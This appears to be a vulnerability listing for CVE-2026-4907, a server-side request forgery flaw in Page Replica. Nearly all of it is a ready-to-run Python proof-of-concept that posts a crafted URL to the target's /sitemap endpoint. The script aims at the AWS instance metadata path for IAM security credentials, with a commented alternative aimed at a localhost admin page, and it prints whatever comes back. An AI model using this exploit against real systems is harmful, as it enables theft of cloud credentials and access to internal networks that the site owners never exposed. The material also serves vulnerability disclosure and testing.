CVE-2026-4907 Page Replica服务器端请求伪造漏洞

import requests # PoC for CVE-2026-4907: SSRF in Page-Replica Page Replica # Target the /sitemap endpoint with a malicious URL target = "http://target-domain.com/sitemap" # Example payload targeting internal metadata service (AWS) # Change the payload to target internal network resources based on environment malicious_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # Example payload targeting localhost # malicious_url = "http://127.0.0.1:8080/admin" payload = { "url": malicious_url } try: print(f"Sending request to {target} with payload: {payload}") # Assuming the endpoint accepts POST requests based on typical fetch implementations response = requests.post(target, data=payload, timeout=10) if response.status_code == 200: print("[+] Request successful! Potential SSRF confirmed.") print("Response content:") print(response.text[:500]) # Print first 500 chars to avoid flooding console else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")